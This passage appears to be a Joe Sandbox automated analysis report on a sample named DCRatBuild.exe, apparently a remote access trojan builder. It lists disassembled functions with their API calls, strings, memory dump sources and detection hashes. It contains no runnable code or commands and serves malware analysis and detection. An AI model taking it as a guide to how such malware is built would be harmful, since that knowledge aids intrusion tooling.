Part of subcall function 00494092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 004940A5

_wcschr.LIBVCRUNTIME ref: 0049B9D6
_wcschr.LIBVCRUNTIME ref: 0049B9E6

Strings

%c:\, xrefs: 0049B9AE

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 8fd712f9ddcc89447e2c855bc83804b4af65c39b5e23319102260a98b98ef8d8
Instruction ID: 9bc781bfa1a3ddd49e51b57c2046cab82a8a81583b8119f265b0ba4dc17abeb5
Opcode Fuzzy Hash: 8fd712f9ddcc89447e2c855bc83804b4af65c39b5e23319102260a98b98ef8d8
Instruction Fuzzy Hash: B40145A3100311699E30AB76AD42D6BABACEE85370B40442FF544D2282EB2CD80082F9

Function 004AB270 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00491316: GetDlgItem.USER32(00000000,00003021), ref: 0049135A
Part of subcall function 00491316: SetWindowTextW.USER32(00000000,004C35F4), ref: 00491370

EndDialog.USER32(?,00000001), ref: 004AB2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 004AB2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 004AB304

Strings

GETPASSWORD1, xrefs: 004AB289
xzN, xrefs: 004AB2E2

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xzN
API String ID: 445417207-2191437676
Opcode ID: e8cd090001a0111344f9c876b1193c0a694a5ecafc3e17524e1ea71b04f85a2c
Instruction ID: 75f23da0eefe947da099c84705bf2ba2d7be4ef5a9cc19db24237c3af90320fd
Opcode Fuzzy Hash: e8cd090001a0111344f9c876b1193c0a694a5ecafc3e17524e1ea71b04f85a2c
Instruction Fuzzy Hash: 8B11C2329001147AEF219E659C49FBF3B6CEB2A711F000067FA45E2181C7A8995587A9

Function 004AB6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 004AB6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 004AB712
DeleteObject.GDI32(00000000), ref: 004AB744
DeleteObject.GDI32(00000000), ref: 004AB767

Part of subcall function 004AA6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,004AB73D,00000066), ref: 004AA6D5
Part of subcall function 004AA6C2: SizeofResource.KERNEL32(00000000,?,?,?,004AB73D,00000066), ref: 004AA6EC
Part of subcall function 004AA6C2: LoadResource.KERNEL32(00000000,?,?,?,004AB73D,00000066), ref: 004AA703
Part of subcall function 004AA6C2: LockResource.KERNEL32(00000000,?,?,?,004AB73D,00000066), ref: 004AA712
Part of subcall function 004AA6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,004AB73D,00000066), ref: 004AA72D
Part of subcall function 004AA6C2: GlobalLock.KERNEL32(00000000), ref: 004AA73E
Part of subcall function 004AA6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 004AA762
Part of subcall function 004AA6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 004AA7A7
Part of subcall function 004AA6C2: GlobalUnlock.KERNEL32(00000000), ref: 004AA7C6
Part of subcall function 004AA6C2: GlobalFree.KERNEL32(00000000), ref: 004AA7CD

Strings

], xrefs: 004AB71A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 8951b234e36af5e5c527f06b58de6241c3d24aa9161a405b3731439a96f3ebd3
Instruction ID: 55ebd56465e5bad516eadc04d8e41ff0409b86fac44112e933b387d7d6023c8c
Opcode Fuzzy Hash: 8951b234e36af5e5c527f06b58de6241c3d24aa9161a405b3731439a96f3ebd3
Instruction Fuzzy Hash: FD01043A9001016BD7127B749C09A7F7AB9DFD2B56F04002BF900A7396DF698D2586A9

Function 004AD600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00491316: GetDlgItem.USER32(00000000,00003021), ref: 0049135A
Part of subcall function 00491316: SetWindowTextW.USER32(00000000,004C35F4), ref: 00491370

EndDialog.USER32(?,00000001), ref: 004AD64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 004AD661
SetDlgItemTextW.USER32(?,00000066,?), ref: 004AD675
SetDlgItemTextW.USER32(?,00000068), ref: 004AD684

Strings

RENAMEDLG, xrefs: 004AD618

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: a3bb297fe697ec6448ced0ba5d22f26e285615624f5dd27da924088ebcd07b11
Instruction ID: 4b8699fd8ff3da2c54d278bc8b739ecd1e5b282e7a006b0230907182bc8acd02
Opcode Fuzzy Hash: a3bb297fe697ec6448ced0ba5d22f26e285615624f5dd27da924088ebcd07b11
Instruction Fuzzy Hash: 90012833A44210BAD2104F649E09F6B7B5CFB7BB02F214433F306A65D1C6AA9A15C77E

Function 004B7E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,004B7E24,00000000,?,004B7DC4,00000000,004CC300,0000000C,004B7F1B,00000000,00000002), ref: 004B7E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004B7EA6
FreeLibrary.KERNEL32(00000000,?,?,?,004B7E24,00000000,?,004B7DC4,00000000,004CC300,0000000C,004B7F1B,00000000,00000002), ref: 004B7EC9

Strings

CorExitProcess, xrefs: 004B7E9E
mscoree.dll, xrefs: 004B7E8C

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 62d22792f43562a57d86ea1594da04026232fda2899b67e8a0c9a09240d70e35
Instruction ID: d65f153edc481f58c4607b22dfbaeff26e5eea2d2c51364b0080b7c013d35d8d
Opcode Fuzzy Hash: 62d22792f43562a57d86ea1594da04026232fda2899b67e8a0c9a09240d70e35
Instruction Fuzzy Hash: 7AF06835900208BBCB559FA5DC09FDEBFB4EF44716F0181BAF805A6250DB359E44CAAC

Function 0049F2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 004A081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 004A0836
Part of subcall function 004A081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0049F2D8,Crypt32.dll,00000000,0049F35C,?,?,0049F33E,?,?,?), ref: 004A0858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0049F2E4
GetProcAddress.KERNEL32(004D81C8,CryptUnprotectMemory), ref: 0049F2F4

Strings

Crypt32.dll, xrefs: 0049F2CE
CryptUnprotectMemory, xrefs: 0049F2EA
CryptProtectMemory, xrefs: 0049F2DE

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: e202a3d9f2bd55d7792b6f9e5cd06c0b5ea6b65be6b04c39309b865d2357e03a
Instruction ID: be7885397e1cf92f13613131a12afa4209fb5df84f642c9dc3804e74445d0136
Opcode Fuzzy Hash: e202a3d9f2bd55d7792b6f9e5cd06c0b5ea6b65be6b04c39309b865d2357e03a
Instruction Fuzzy Hash: ABE0DF358007019ECB609F369808F427ED46F05709B24C83FE0CAD3240C6BED0408B08

Function 004B2BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 004B2CA1
___AdjustPointer.LIBCMT ref: 004B2CC4
_abort.LIBCMT ref: 004B2D12
___AdjustPointer.LIBCMT ref: 004B2D60

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 04104c6ddfb285d6fef5acada20e2462f035d7b302eea4576f1d3583819604be
Instruction ID: 82e22aacd447f28cf2ebf9bb115e7997b9397254ae130bbfc2a12d09937d962c
Opcode Fuzzy Hash: 04104c6ddfb285d6fef5acada20e2462f035d7b302eea4576f1d3583819604be
Instruction Fuzzy Hash: 0151ED72600202AFDB288F15DA45BEB77B8FF14301F24452FE805572A1D7B9ED51D7A8

Function 004BBF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004BBF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004BBF5C

Part of subcall function 004B8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BCA2C,00000000,?,004B6CBE,?,00000008,?,004B91E0,?,?,?), ref: 004B8E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 004BBF82
_free.LIBCMT ref: 004BBF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004BBFA4

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 87de9a94ff49de40b83ab2eb3fd57f1e04f1d12750fa4e5865b34fc9e80f3232
Instruction ID: 60afc8fc8c2419fe8934bde4045b522fdd31dc5b64057166e127cb1267a7ac1e
Opcode Fuzzy Hash: 87de9a94ff49de40b83ab2eb3fd57f1e04f1d12750fa4e5865b34fc9e80f3232
Instruction Fuzzy Hash: 6201D4766016117F23212AB75C4DCFB7A6DDED2BA9314412EF904D2201EFA8CD02C5F8

Function 004B9869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,004B91AD,004BB188,?,004B9813,00000001,00000364,?,004B3F73,00000050,?,004D1030,00000200), ref: 004B986E
_free.LIBCMT ref: 004B98A3
_free.LIBCMT ref: 004B98CA
SetLastError.KERNEL32(00000000,?,004D1030,00000200), ref: 004B98D7
SetLastError.KERNEL32(00000000,?,004D1030,00000200), ref: 004B98E0

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: f4245c25682fe25251dd4a5cdf495ebaa09cc0d123cb9552e3997752f94607a3
Instruction ID: b2e06812c2e88252378a8add1399e77838594ee26c11fde50bad69e9f4ca1e53
Opcode Fuzzy Hash: f4245c25682fe25251dd4a5cdf495ebaa09cc0d123cb9552e3997752f94607a3
Instruction Fuzzy Hash: 3E01D1361646016BC212372A6C85EEB262DDFD27A9735013FF60592292EF6CCC02517D

Function 004A0EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 004A11CF: ResetEvent.KERNEL32(?), ref: 004A11E1
Part of subcall function 004A11CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 004A11F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 004A0F21
CloseHandle.KERNEL32(?,?), ref: 004A0F3B
DeleteCriticalSection.KERNEL32(?), ref: 004A0F54
CloseHandle.KERNEL32(?), ref: 004A0F60
CloseHandle.KERNEL32(?), ref: 004A0F6C

Part of subcall function 004A0FE4: WaitForSingleObject.KERNEL32(?,000000FF,004A1206,?), ref: 004A0FEA
Part of subcall function 004A0FE4: GetLastError.KERNEL32(?), ref: 004A0FF6

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 755d1eded2466e7766e0539673ba6ec08bf720540a2323611d544b2d67232394
Instruction ID: 86d67580fb9a336d15a9a7b22bf08e7a936fd1d1447705ed5c28eec8b9c47e78
Opcode Fuzzy Hash: 755d1eded2466e7766e0539673ba6ec08bf720540a2323611d544b2d67232394
Instruction Fuzzy Hash: 9C019276100740EFC7629F65DD84FC6BBA9FB08711F00492EF16A52160C7B57A44CA58

Function 004BC7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004BC817

Part of subcall function 004B8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?), ref: 004B8DE2
Part of subcall function 004B8DCC: GetLastError.KERNEL32(?,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?,?), ref: 004B8DF4

_free.LIBCMT ref: 004BC829
_free.LIBCMT ref: 004BC83B
_free.LIBCMT ref: 004BC84D
_free.LIBCMT ref: 004BC85F

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: eb1004e264f4a26d70dcd1c81b626961376cdaa112797d554a5d69abd411fb53
Instruction ID: 6467b849da109917e49bc9bb81f6897ee28ef713b943d4618c7bdde2739b73cb
Opcode Fuzzy Hash: eb1004e264f4a26d70dcd1c81b626961376cdaa112797d554a5d69abd411fb53
Instruction Fuzzy Hash: 71F01232504200AB8660EB6AE4C6C9777EDAA147557941C3FF108D7652CB78FC80CA7C

Function 004A1FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004A1FE5
_wcslen.LIBCMT ref: 004A1FF6
_wcslen.LIBCMT ref: 004A2006
_wcslen.LIBCMT ref: 004A2014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,0049B371,?,?,00000000,?,?,?), ref: 004A202F

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 765a394f8768295fb61660cc371a0459a7c489121ca09a1a01491e16de732b11
Instruction ID: eaa190a277a679368b39a4cc6b3938365d75a6230da03563a5bd455c62a21d23
Opcode Fuzzy Hash: 765a394f8768295fb61660cc371a0459a7c489121ca09a1a01491e16de732b11
Instruction Fuzzy Hash: 22F06D32008014BBDF222F56EC09DCA3F26EB51765B11801BF61A5A061CB72DA61E6A8

Function 004A15FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 004A17BC
_swprintf.LIBCMT ref: 004A186B

Strings

%ls, xrefs: 004A1641, 004A1657
%s: %s, xrefs: 004A17CB

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 42e15353cd029c9fb68c57c388909cf73732c3c4f0912e8d8da83e67dc00c47d
Instruction ID: ad1ed7a30e64751652bf7cfac19e4daae31b2df44d60906ae4f2aad3d5ec839c
Opcode Fuzzy Hash: 42e15353cd029c9fb68c57c388909cf73732c3c4f0912e8d8da83e67dc00c47d
Instruction Fuzzy Hash: 4E512079288300F7FA1126918D46F367665AB37B04F24451FF397A40F1C5AF9411A71F

Function 004B7F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\DCRatBuild.exe,00000104), ref: 004B7FAE
_free.LIBCMT ref: 004B8079
_free.LIBCMT ref: 004B8083

Strings

C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, xrefs: 004B7FA5, 004B7FAC, 004B7FDB, 004B8013

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
API String ID: 2506810119-119056061
Opcode ID: 0ca8cd840eab999637055c5e324a059e5c61c7080d22e3458725841c6f8a6d16
Instruction ID: 4bb2c703a124a2295ac81f20471d4553ddb772722b59bba6c0249e4ed7e31642
Opcode Fuzzy Hash: 0ca8cd840eab999637055c5e324a059e5c61c7080d22e3458725841c6f8a6d16
Instruction Fuzzy Hash: D631C070A00209AFDB21EF99C8809EEBBBCEB95344F11406FF50497211DAB88E45CB79

Function 004B31D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 004B31FB
_abort.LIBCMT ref: 004B3306

Strings

RCC, xrefs: 004B3215
MOC, xrefs: 004B320D

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: ce7957331e47348f08cb72976ef7c56a93930cab722c40bdbab1d034830ca015
Instruction ID: cb1354a536eecc9a140d255066d7f88efbdb15f83e7003efde45369fe03fc9a7
Opcode Fuzzy Hash: ce7957331e47348f08cb72976ef7c56a93930cab722c40bdbab1d034830ca015
Instruction Fuzzy Hash: 14416D71900209AFCF19DF99CD81AEEBBB5FF48305F18819AF90467211D739EA50DB68

Function 00497401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00497406

Part of subcall function 00493BBA: __EH_prolog.LIBCMT ref: 00493BBF

